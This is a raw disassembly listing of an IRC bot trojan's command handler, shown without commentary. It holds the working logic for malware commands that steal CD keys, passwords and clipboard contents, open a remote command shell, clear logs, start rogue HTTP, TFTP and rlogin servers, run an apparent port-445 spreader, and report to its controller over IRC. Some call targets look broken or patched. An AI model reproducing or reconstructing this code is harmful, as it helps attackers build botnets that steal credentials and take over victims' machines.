		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aAl	; "al"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340A
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C1F8
		push	offset dword_42C1EC
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_40340A:				; CODE XREF: sub_401ACD+1923j
		push	edi
		push	offset dword_42C1E8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403527
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343E
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C1D4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_40343E:				; CODE XREF: sub_401ACD+1955j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344C
; ---------------------------------------------------------------------------

loc_403449:				; CODE XREF: sub_401ACD+19CBj
		mov	eax, [ebp+arg_18]

loc_40344C:				; CODE XREF: sub_401ACD+197Aj
		cmp	[eax], bl
		jz	short loc_403453
		inc	eax
		jmp	short loc_403458
; ---------------------------------------------------------------------------

loc_403453:				; CODE XREF: sub_401ACD+1981j
		mov	eax, offset aEmpty ; "<Empty>"

loc_403458:				; CODE XREF: sub_401ACD+1984j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_403449
		push	offset unk_42C1A0
		call	sub_4151AC
		pop	ecx

loc_4034A5:				; CODE XREF: sub_401ACD+1C5Aj
					; sub_401ACD+2F43j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF4
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A22
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C16C
		push	eax
		mov	dword_4CE758, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4034FD:				; CODE XREF: sub_401ACD+3022j
		cmp	[ebp+var_8], ebx
		jnz	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72

loc_40351F:				; CODE XREF: sub_401ACD+7118j
		add	esp, 14h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_403527:				; CODE XREF: sub_401ACD+194Cj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B3
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C0C4
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403692
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403692:				; CODE XREF: sub_401ACD+1BA7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------

loc_4036B3:				; CODE XREF: sub_401ACD+1B8Fj
		push	edi
		push	offset aAsn445	; "asn445"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403707
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		jmp	loc_401F52
; ---------------------------------------------------------------------------

loc_403707:				; CODE XREF: sub_401ACD+1C1Fj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372D
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A5

loc_40372D:				; CODE XREF: sub_401ACD+1C49j
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_42C050
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1A
		push	ebx
		push	ebx
		call	near ptr 269053Ch
		nop
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4037D5

loc_4037BF:				; CODE XREF: sub_401ACD+1D06j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_4037BF
; ---------------------------------------------------------------------------

loc_4037D5:				; CODE XREF: sub_401ACD+1CF0j
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_42C014
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_4037E6:				; CODE XREF: sub_401ACD+1BF5j
					; sub_401ACD+1C0Aj
		mov	al, byte_43161A
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_43161A
		jz	loc_401E94
		mov	ecx, edx

loc_4037FD:				; CODE XREF: sub_401ACD+1D38j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FD
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset aF	; "#f"

loc_403817:				; CODE XREF: sub_401ACD+2008j
		push	0Bh
		call	sub_40B33E
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403866
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BFD4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_403ACC
; ---------------------------------------------------------------------------

loc_403866:				; CODE XREF: sub_401ACD+1D64j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431438, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D7
		mov	edi, offset dword_431438

loc_40389B:				; CODE XREF: sub_401ACD+1DECj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BD
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389B
		jmp	short loc_4038D7
; ---------------------------------------------------------------------------

loc_4038BD:				; CODE XREF: sub_401ACD+1DE2j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431438[ecx]
		mov	[ebp+var_74C], ecx

loc_4038D7:				; CODE XREF: sub_401ACD+1DC7j
					; sub_401ACD+1DEEj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE0
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CAF48
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40397F

loc_40395D:				; CODE XREF: sub_401ACD+1EB0j
		cmp	eax, ebx
		jz	short loc_40397F
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395D

loc_40397F:				; CODE XREF: sub_401ACD+1E8Ej
					; sub_401ACD+1E92j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset dword_43D158
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E1
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E7
; ---------------------------------------------------------------------------

loc_4039E1:				; CODE XREF: sub_401ACD+1EFFj
		mov	[ebp+var_7D0], bl

loc_4039E7:				; CODE XREF: sub_401ACD+1F12j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039F9
		mov	eax, offset aSequential	; "Sequential"

loc_4039F9:				; CODE XREF: sub_401ACD+1F25j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF54
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_403A83

loc_403A71:				; CODE XREF: sub_401ACD+1FB4j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9E
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_403A71
; ---------------------------------------------------------------------------

loc_403A83:				; CODE XREF: sub_401ACD+1FA2j
		nop
		call	near ptr 2690DF2h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF18
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_403A9E:				; CODE XREF: sub_401ACD+1FAAj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403ABF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403ABF:				; CODE XREF: sub_401ACD+1FD4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_403ACC:				; CODE XREF: sub_401ACD+1D94j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403817
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_403AE0:				; CODE XREF: sub_401ACD+1E10j
		push	offset unk_42BEE0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_403AEA:				; CODE XREF: sub_401ACD+1B65j
					; sub_401ACD+1B7Aj
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403B00
		push	offset unk_42BEC0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_403B00:				; CODE XREF: sub_401ACD+2027j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B23
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B37
; ---------------------------------------------------------------------------

loc_403B23:				; CODE XREF: sub_401ACD+203Cj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 26802A6h

loc_403B37:				; CODE XREF: sub_401ACD+2054j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B47
		mov	esi, offset byte_429108

loc_403B47:				; CODE XREF: sub_401ACD+2073j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_42BE8C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset word_411796
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_403C13

loc_403BFD:				; CODE XREF: sub_401ACD+2144j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_403BFD
; ---------------------------------------------------------------------------

loc_403C13:				; CODE XREF: sub_401ACD+212Ej
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_42BE50
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_403C24:				; CODE XREF: sub_401ACD+1B3Bj
					; sub_401ACD+1B50j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C48
; ---------------------------------------------------------------------------

loc_403C43:				; CODE XREF: sub_401ACD+2160j
					; sub_401ACD+216Bj
		mov	eax, dword_42907C

loc_403C48:				; CODE XREF: sub_401ACD+2174j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7B
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA6
; ---------------------------------------------------------------------------

loc_403C7B:				; CODE XREF: sub_401ACD+219Bj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		nop
		call	near ptr 2690000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h

loc_403CA6:				; CODE XREF: sub_401ACD+21ACj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD1
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl

loc_403CD1:				; CODE XREF: sub_401ACD+21EEj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BE14
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_403D85

loc_403D73:				; CODE XREF: sub_401ACD+22B6j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA0
		push	32h
		call	near ptr 26904AEh
		nop
		jmp	short loc_403D73
; ---------------------------------------------------------------------------

loc_403D85:				; CODE XREF: sub_401ACD+22A4j
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_42BDD8

loc_403D91:				; CODE XREF: sub_401ACD+2419j
					; sub_401ACD+4D04j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_403DA0:				; CODE XREF: sub_401ACD+22ACj
					; sub_401ACD+23FDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	edi
		jmp	loc_407285
; ---------------------------------------------------------------------------

loc_403DB0:				; CODE XREF: sub_401ACD+1B11j
					; sub_401ACD+1B26j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD4
; ---------------------------------------------------------------------------

loc_403DCF:				; CODE XREF: sub_401ACD+22ECj
					; sub_401ACD+22F7j
		mov	eax, dword_429080

loc_403DD4:				; CODE XREF: sub_401ACD+2300j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEB
		lea	eax, [ebp+var_C4]

loc_403DEB:				; CODE XREF: sub_401ACD+2316j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0D
		mov	esi, offset dword_43D158

loc_403E0D:				; CODE XREF: sub_401ACD+2339j
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BD9C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset byte_410A4D
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_403EDA

loc_403EC4:				; CODE XREF: sub_401ACD+240Bj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_403EC4
; ---------------------------------------------------------------------------

loc_403EDA:				; CODE XREF: sub_401ACD+23F5j
		call	near ptr 2690DF2h
		nop
		push	eax
		push	offset unk_42BD60
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_403EEB:				; CODE XREF: sub_401ACD+1AE7j
					; sub_401ACD+1AFCj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFE
		push	esi
		call	sub_41B779
		jmp	short loc_403F05
; ---------------------------------------------------------------------------

loc_403EFE:				; CODE XREF: sub_401ACD+2427j
		push	0Bh
		call	sub_40B35D

loc_403F05:				; CODE XREF: sub_401ACD+242Fj
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA56
		jmp	loc_4043B9
; ---------------------------------------------------------------------------

loc_403F25:				; CODE XREF: sub_401ACD+1ABDj
					; sub_401ACD+1AD2j
		mov	eax, dword_4CAEC0
		cmp	eax, ebx
		jz	short loc_403F42
		call	eax
		test	eax, eax
		jz	short loc_403F3B
		push	offset unk_42BD3C
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F3B:				; CODE XREF: sub_401ACD+2465j
		push	offset unk_42BD10
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F42:				; CODE XREF: sub_401ACD+245Fj
		push	offset unk_42BCE4

loc_403F47:				; CODE XREF: sub_401ACD+246Cj
					; sub_401ACD+2473j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDB
; ---------------------------------------------------------------------------

loc_403F5D:				; CODE XREF: sub_401ACD+1A93j
					; sub_401ACD+1AA8j
		call	sub_40AB31
		test	eax, eax
		jz	short loc_403F6D
		push	offset unk_42BCC0
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F6D:				; CODE XREF: sub_401ACD+2497j
		push	offset unk_42BC94
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F74:				; CODE XREF: sub_401ACD+1A69j
					; sub_401ACD+1A7Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F93
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BC7C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403F93:				; CODE XREF: sub_401ACD+24AAj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D6
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BC60
		jmp	loc_404285
; ---------------------------------------------------------------------------

loc_403FB5:				; CODE XREF: sub_401ACD+18F9j
					; sub_401ACD+190Ej
		push	0Ah
		call	sub_40B33E
